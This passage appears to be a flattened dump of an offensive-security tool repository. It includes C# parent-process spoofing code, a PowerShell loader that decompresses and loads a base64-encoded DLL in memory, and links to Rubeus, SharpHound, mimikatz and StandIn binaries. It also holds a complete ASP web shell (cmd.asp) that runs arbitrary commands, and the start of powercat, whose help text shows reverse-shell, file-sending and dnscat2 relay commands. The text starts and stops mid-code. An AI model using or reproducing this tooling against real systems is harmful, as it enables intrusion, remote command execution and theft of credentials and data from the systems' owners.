PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; 102 | 103 | 104 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 105 | STARTUPINFOEX si = new STARTUPINFOEX(); 106 | si.StartupInfo.cb = Marshal.SizeOf(si); 107 | IntPtr lpValue = IntPtr.Zero; 108 | 109 | try 110 | { 111 | 112 | IntPtr lpSize = IntPtr.Zero; 113 | InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); 114 | si.lpAttributeList = Marshal.AllocHGlobal(lpSize); 115 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize); 116 | IntPtr phandle = Process.GetProcessById(ppid).Handle; 117 | lpValue = Marshal.AllocHGlobal(IntPtr.Size); 118 | Marshal.WriteIntPtr(lpValue, phandle); 119 | 120 | UpdateProcThreadAttribute( 121 | si.lpAttributeList, 122 | 0, 123 | (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 124 | lpValue, 125 | (IntPtr)IntPtr.Size, 126 | IntPtr.Zero, 127 | IntPtr.Zero); 128 | 129 | 130 | SECURITY_ATTRIBUTES pattr = new SECURITY_ATTRIBUTES(); 131 | SECURITY_ATTRIBUTES tattr = new SECURITY_ATTRIBUTES(); 132 | pattr.nLength = Marshal.SizeOf(pattr); 133 | tattr.nLength = Marshal.SizeOf(tattr); 134 | Console.Write("Starting: " + command + "..."); 135 | bool b = CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi); 136 | Console.WriteLine(b); 137 | 138 | } 139 | finally 140 | { 141 | 142 | if (si.lpAttributeList != IntPtr.Zero) 143 | { 144 | DeleteProcThreadAttributeList(si.lpAttributeList); 145 | Marshal.FreeHGlobal(si.lpAttributeList); 146 | } 147 | Marshal.FreeHGlobal(lpValue); 148 | 149 | if (pi.hProcess != IntPtr.Zero) 150 | { 151 | CloseHandle(pi.hProcess); 152 | } 153 | if (pi.hThread != IntPtr.Zero) 154 | { 155 | CloseHandle(pi.hThread); 156 | } 157 | } 158 | } 159 | 160 | } 161 | "@ 162 | Add-Type -TypeDefinition $code -------------------------------------------------------------------------------- /Invoke-IFileOperation.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-IFileOperation { 2 | <# 3 | .SYNOPSIS 4 | Bootstrap function to expose an IFileOperation COM interface to powershell (script-scope). 5 | 6 | .DESCRIPTION 7 | Author: Ruben Boonen (@FuzzySec) 8 | License: BSD 3-Clause 9 | Required Dependencies: None 10 | Optional Dependencies: None 11 | 12 | .EXAMPLE 13 | C:\PS> Invoke-IFileOperation 14 | C:\PS> $IFileOperation.CopyItem("C:\Some\Dir\a.txt", "C:\Some\Other\Dir\", "b.txt") 15 | C:\PS> $IFileOperation.PerformOperations() 16 | #> 17 | 18 | # Compressed Dll which wraps the IFileOperation COM 19 | # Compression --> http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html 20 | $EncodedCompressedFile = @' 21 | 7Vt7fFx1lT/3kZnMJJk8GkoLAaZNS9PYhLzatFC0k8ykGTIvZiZ9YCXcmblJhk7mjvdO2oZSTBVRP4ACgqLAQl1YEFhhPwsfkccuAlbWFUHRBS0qiuKyvlBXF1Fkzzn3zp2ZJDzWP/y4n483ud/fOed3fud3fud3fr/7yE34nCtAAgAZz9dfB7gPzGMbvPUxj6fnlPs9cI/riVX3CaEnViWns4a3oGtTujLjTSv5vFb0plSvPpv3ZvNefzThndEyandDg3uNZSMWAAgJErT8/Ns7S3afh9XeOqEHAH/B Ycry EQQvnucx28S0aPoNUC7hJlNOhwTbPkiq9Fsu7YKPNrQbBdPutdLSg6zH4kch1H0bMbEP9K+2gq1FfrSC7y6qB4pYFrutcfWU/a4wcV63buhpsHxDH3mgfdV62/C3W1dzWtr0lSeGbG1apDe00M1YxCxHuUkNyDgxz3cACG9rkIuPV8WOZgC3dBkaOLGrTseiYLSg5AJTpC1DWmtFKFUeR5WidGg5lp0niwe5/JxZcpMNJ1UwHccjdap4IQn +dBxJOleLrR01mCidp4pSa4eDKIBlPRLstXwyXcIucA5l8SKcbrljBUqKTqw7NEbCg4ReWby4SVuHBsSDpLrheNGsMFltLdYcCiMlb1huVsjaSrTTcQKN6R3c8Yk9NeAHjl +z2IGZ5pA6PIhumYs6s51DOxGbOBlrWjWcT8f3Wp0bHE4Nc8z9nGODw2FSnUIbzUsrnHgauHks0AAbtpj0n9VXz5/blwxdZlpV91XZidyqdZN5d4VR8q/JtHXc6pItCTa8la1WbWChqZKd1lUlOw7Y8lZ2auSLTqLZN6cQV4Tj1Dfyb1W3afcs05hpRRukef2OePBsygihUzz +0Nl2SmxoLiUIpYV2qt3KTNPOc8XW98WIbcSaogu7MU6m9D7fModu83o4BcHw0kLo/JruolWxCpl5XJvyRQQdq4mlxH2KjHS0U6M1JCPrnZh3lO+4bGkvb9YTaEGUL5NIFZPW7ZY6TqUV1+DQp7BK6lhHQlxsvDA6hxJnDQnWiqf9Y19fd0/3xp7BvkGS1EAO8WrUbL8ICVzLG4hOFPVsfsogjQ3oTgHL9vEEXN9u7q/t28eDlJt3Ij +Aq7N9KKelSusRQ77zXZ85yUV72atCPyw39xtU5QnYjyfGE24xxwPoLfuAarwHS2bOV52VMhFK+1eP2ywdoNceaHDA9xkvdp7R0AjXNpD8TueqegeM1BKuYzzKeBXjHYzfYZ1rnbux7T5GN8sPNU7XOeBMB6FWR/iiTDjqnK5zw+eaPunBHht+JTjgK033YqvfYr8OSNeSzmq28yjjVD1JxhhfcZHkpAaiBxg7XYSH6qnHftZJYo80qkYemzlzTYjH6s5kTkDBFY3H6gIYCRn5JqyhujGL+6aLuDhNJWr +sYE047AWbsKJ +zJqAmjIHUHuaZfJbWHumNvkgtzDRwVqp0EEjXzR1Q8OxzbpcXHH/GHh3xEjDYRjMuHvmwjfx/TLNYQfqiNsdBKe6CL8NGPaTfge1iww/g9rHnAwXU/4TCPhXWznBsYOtv86y7/HkiG2s5ItnMH4ikR4JtcqjCcwOrl2PeNPWKeT5RHGWsYHWX6Qe7mW6XGm72T6fKbHmX6JfTif6RaWf53pK80IMH0G08Aefo/pHTzG23h0DrbwqofwnUx3Mi5nHOdWRdY/zL7JHOd1HB/ZjCHjT3lEvUwHGVc0E77GrT7D Fm5H+Sp4qe5JxKOupxGXOR4Xe+E/6p5B7HceE5vhu/IzogCfkb8vlub3LPGHiO8Hwp8wfbVAeD9jH8tfMGmJ5axzEuMEy3uYvp3pJ5j+OLeaYbyFJTNc+2um383yjzA9yvQBpuvY/nuYXsn6I6ZNxJK3J0svIj4GhH8QCG9l+jXG5xkHWH4xYsxLK +qSFesadMzqj5lc7X63givpk8y9KKhOB3KP2prEfdXm/ksU4Vmbe1mUILaKORite0WsgQct7ivuV8RaoH2duKvcr4t1ULS4u9xNeDV60OJ66mokD7S2m9xDuKc0w7r2si/NcC5zV8KL7gap2dpjr/Te6DheaoF9XHcYrpIduH9eaWqu6GpYJS2HLzF3VHjSQ3Ul7k7P2oq6eXendLzNfdTdJ51gc/e7z5ROsbmj7u1Su81trjtTWm9z/rqk1GVzN7hTUr/N3eHOShttbnldp7TF5jbUGdJWm/upZ14atrgXh RdxPwzY3LEq7knmHrfi4qm/RCrVEXe5NAp/bC/P35gVs6M1485rpDK3x7lWCtlco+c6KWxzD9c0QcTmDrqOSFGbu7XhiBSzuQea1kpn29zv3P8gxW1un+eIlLC5q9x3Skmb2+a5V9ppc19xPyDttrldnqPSe2xutO4BacLmLse6tM3d5X5CUm0uhP1N2VxP3bekaZujzJopey13VHCUIXmbowwpc5Qhms1Rhug2Rxmy3 +YoQw7aHGXIYZujDPmgzVGGXGpzlCGX2xxlyJU2Rxlytc1Rhlxnc5QhN9jcsSruySrui/U/kMrc440/l47Y3AuOX1dwv2h4Rfp7mws7X5NuBrqMPuIiPGqjCL+qJ/oTNUQ/UEd3KMccbyYp0wJ8yUESt5N0fuwhyTUufkrEh0IBLmf7Z0tU+6xMtUcaCfs8JH/aTfKnHEtJZHA46Y7uDnlh7cfrqXZxq7K8Bl6rpTumN297+hu0vb1xqbbVdmacpF+pQxaqx1KWyPAxtvxdvo +7De9PnLCqjjRXuknzwxz/E +o5VhztexuXlnyfI3wy97LKQxF+uoZQYny6ieQPsSb6iZKcp0SL7IkE9XUkT3lKEq41vfWWvDV1cvYoqnV+/aY6ZbnAcpFGja3+5ABvKQ6kY+blonzwLsoH79vIB+8b5IP3beTDW7b9s/PBuygfTIn3beSDHR9aO9iLbK0gW/4AW/4Fr +KHeJV9o1EEH3rhQ8tecMG6BoGuv3jVWInohvWITdDLuIXRxxhkPJtxN6OCeBxkmX4v4xcYv8jWvo54Aswx/W2Wz0HA2Q6fgnMbO+AHLGnl+ +yXIN84CL8CvWYrHIGgYwh+Dxc3juCTEd2nHAa6JxCE9mYNJXQf4xIucRyAZoEsXMl2PgUr4ELESccHENfDpai/s/FqRHfzdYixxptwpPVwN2IT3IvYCvcjroB/RWyDx4A2o39DXANfQ+yApxE3wLOIPfBdxAH4IeJm+AniVvgZ4jb02AV+ +B3iKPwBEa +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 +6478dfw3H/wI= 22 | '@ 23 | 24 | # Decompress & load assembly 25 | $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 26 | $UncompressedFileBytes = New-Object Byte[](14336) 27 | $DeflatedStream.Read($UncompressedFileBytes, 0, 14336) | Out-Null 28 | [Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null 29 | 30 | # PS C:\Users\b33f> $IFileOperation |Get-Member 31 | # 32 | # TypeName: FileOperation.FileOperation 33 | # 34 | # Name MemberType Definition 35 | # ---- ---------- ---------- 36 | # CopyItem Method void CopyItem(string source, string destination, string newName) 37 | # DeleteItem Method void DeleteItem(string source) 38 | # Dispose Method void Dispose(), void IDisposable.Dispose() 39 | # Equals Method bool Equals(System.Object obj) 40 | # GetHashCode Method int GetHashCode() 41 | # GetType Method type GetType() 42 | # MoveItem Method void MoveItem(string source, string destination, string newName) 43 | # NewItem Method void NewItem(string folderName, string name, System.IO.FileAttributes attrs) 44 | # PerformOperations Method void PerformOperations() 45 | # RenameItem Method void RenameItem(string source, string newName) 46 | # ToString Method string ToString() 47 | 48 | $script:IFileOperation = New-Object FileOperation.FileOperation 49 | } -------------------------------------------------------------------------------- /Rubeus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/Rubeus.exe -------------------------------------------------------------------------------- /Sharphound.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/Sharphound.exe -------------------------------------------------------------------------------- /StandIn_v13_Net35.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/StandIn_v13_Net35.exe -------------------------------------------------------------------------------- /StandIn_v13_Net45.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/StandIn_v13_Net45.exe -------------------------------------------------------------------------------- /attackdefence.com-walkthrough-2143.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/attackdefence.com-walkthrough-2143.pdf -------------------------------------------------------------------------------- /cmd.asp: -------------------------------------------------------------------------------- 1 | 11 | 12 | <% 13 | Set oScript = Server.CreateObject("WSCRIPT.SHELL") 14 | Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 15 | Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 16 | 17 | szCMD = request("cmd") 18 | 19 | If (szCMD <> "") Then 20 | szTempFile = "C:\" & oFileSys.GetTempName( ) 21 | Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 22 | Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 23 | End If 24 | %> 25 | 26 | 27 | 28 |
29 | 30 | 31 |
32 |
33 | <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
34 | 
35 | <% 36 | If (IsObject(oFile)) Then 37 | On Error Resume Next 38 | Response.Write Server.HTMLEncode(oFile.ReadAll) 39 | oFile.Close 40 | Call oFileSys.DeleteFile(szTempFile, True) 41 | End If 42 | %> 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /mimikatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/puckiestyle/powershell/b7ecb7888b1206b91f5add5146052eff7604636b/mimikatz.exe -------------------------------------------------------------------------------- /powercat.ps1: -------------------------------------------------------------------------------- 1 | function powercat 2 | { 3 | param( 4 | [alias("Client")][string]$c="", 5 | [alias("Listen")][switch]$l=$False, 6 | [alias("Port")][Parameter(Position=-1)][string]$p="", 7 | [alias("Execute")][string]$e="", 8 | [alias("ExecutePowershell")][switch]$ep=$False, 9 | [alias("Relay")][string]$r="", 10 | [alias("UDP")][switch]$u=$False, 11 | [alias("dnscat2")][string]$dns="", 12 | [alias("DNSFailureThreshold")][int32]$dnsft=10, 13 | [alias("Timeout")][int32]$t=60, 14 | [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null, 15 | [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host", 16 | [alias("OutputFile")][string]$of="", 17 | [alias("Disconnect")][switch]$d=$False, 18 | [alias("Repeater")][switch]$rep=$False, 19 | [alias("GeneratePayload")][switch]$g=$False, 20 | [alias("GenerateEncoded")][switch]$ge=$False, 21 | [alias("Help")][switch]$h=$False 22 | ) 23 | 24 | ############### HELP ############### 25 | $Help = " 26 | powercat - Netcat, The Powershell Version 27 | Github Repository: https://github.com/besimorhino/powercat 28 | 29 | This script attempts to implement the features of netcat in a powershell 30 | script. It also contains extra features such as built-in relays, execute 31 | powershell, and a dnscat2 client. 32 | 33 | Usage: powercat [-c or -l] [-p port] [options] 34 | 35 | -c Client Mode. Provide the IP of the system you wish to connect to. 36 | If you are using -dns, specify the DNS Server to send queries to. 37 | 38 | -l Listen Mode. Start a listener on the port specified by -p. 39 | 40 | -p Port. The port to connect to, or the port to listen on. 41 | 42 | -e Execute. Specify the name of the process to start. 43 | 44 | -ep Execute Powershell. Start a pseudo powershell session. You can 45 | declare variables and execute commands, but if you try to enter 46 | another shell (nslookup, netsh, cmd, etc.) the shell will hang. 47 | 48 | -r Relay. Used for relaying network traffic between two nodes. 49 | Client Relay Format: -r :: 50 | Listener Relay Format: -r : 51 | DNSCat2 Relay Format: -r dns::: 52 | 53 | -u UDP Mode. Send traffic over UDP. Because it's UDP, the client 54 | must send data before the server can respond. 55 | 56 | -dns DNS Mode. Send traffic over the dnscat2 dns covert channel. 57 | Specify the dns server to -c, the dns port to -p, and specify the 58 | domain to this option, -dns. This is only a client. 59 | Get the server here: https://github.com/iagox86/dnscat2 60 | 61 | -dnsft DNS Failure Threshold. This is how many bad packets the client can 62 | recieve before exiting. Set to zero when receiving files, and set high 63 | for more stability over the internet. 64 | 65 | -t Timeout. The number of seconds to wait before giving up on listening or 66 | connecting. Default: 60 67 | 68 | -i Input. Provide data to be sent down the pipe as soon as a connection is 69 | established. Used for moving files. You can provide the path to a file, 70 | a byte array object, or a string. You can also pipe any of those into 71 | powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80 72 | 73 | -o Output. Specify how powercat should return information to the console. 74 | Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'. 75 | 76 | -of Output File. Specify the path to a file to write output to. 77 | 78 | -d Disconnect. powercat will disconnect after the connection is established 79 | and the input from -i is sent. Used for scanning. 80 | 81 | -rep Repeater. powercat will continually restart after it is disconnected. 82 | Used for setting up a persistent server. 83 | 84 | -g Generate Payload. Returns a script as a string which will execute the 85 | powercat with the options you have specified. -i, -d, and -rep will not 86 | be incorporated. 87 | 88 | -ge Generate Encoded Payload. Does the same as -g, but returns a string which 89 | can be executed in this way: powershell -E 90 | 91 | -h Print this help message. 92 | 93 | Examples: 94 | 95 | Listen on port 8000 and print the output to the console. 96 | powercat -l -p 8000 97 | 98 | Connect to 10.1.1.1 port 443, send a shell, and enable verbosity. 99 | powercat -c 10.1.1.1 -p 443 -e cmd -v 100 | 101 | Connect to the dnscat2 server on c2.example.com, and send dns queries 102 | to the dns server on 10.1.1.1 port 53. 103 | powercat -c 10.1.1.1 -p 53 -dns c2.example.com 104 | 105 | Send a file to 10.1.1.15 port 8000. 106 | powercat -c 10.1.1.15 -p 8000 -i C:\inputfile 107 | 108 | Write the data sent to the local listener on port 4444 to C:\outfile 109 | powercat -l -p 4444 -of C:\outfile 110 | 111 | Listen on port 8000 and repeatedly server a powershell shell. 112 | powercat -l -p 8000 -ep -rep 113 | 114 | Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp. 115 | powercat -l -p 8000 -r tcp:10.1.1.1:9000 116 | 117 | Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com, 118 | sending queries to 10.1.1.1 port 53. 119 | powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 120 | " 121 | if($h){return $Help} 122 | ############### HELP ############### 123 | 124 | ############### VALIDATE ARGS ############### 125 | $global:Verbose = $Verbose 126 | if($of -ne ''){$o = 'Bytes'} 127 | if($dns -eq "") 128 | { 129 | if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."} 130 | if($p -eq ""){return "Please provide a port number to -p."} 131 | } 132 | if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"} 133 | if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."} 134 | if($l) 135 | { 136 | $Failure = $False 137 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}} 138 | if($Failure){break} 139 | } 140 | if($r -ne "") 141 | { 142 | if($r.split(":").Count -eq 2) 143 | { 144 | $Failure = $False 145 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}} 146 | if($Failure){break} 147 | } 148 | } 149 | ############### VALIDATE ARGS ############### 150 | 151 | ############### UDP FUNCTIONS ############### 152 | function Setup_UDP 153 | { 154 | param($FuncSetupVars) 155 | if($global:Verbose){$Verbose = $True} 156 | $c,$l,$p,$t = $FuncSetupVars 157 | $FuncVars = @{} 158 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 159 | if($l) 160 | { 161 | $SocketDestinationBuffer = New-Object System.Byte[] 65536 162 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p 163 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p 164 | $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation 165 | Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]") 166 | $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null) 167 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 168 | while($True) 169 | { 170 | if($Host.UI.RawUI.KeyAvailable) 171 | { 172 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode)) 173 | { 174 | Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..." 175 | $FuncVars["Socket"].Close() 176 | $Stopwatch.Stop() 177 | break 178 | } 179 | } 180 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 181 | { 182 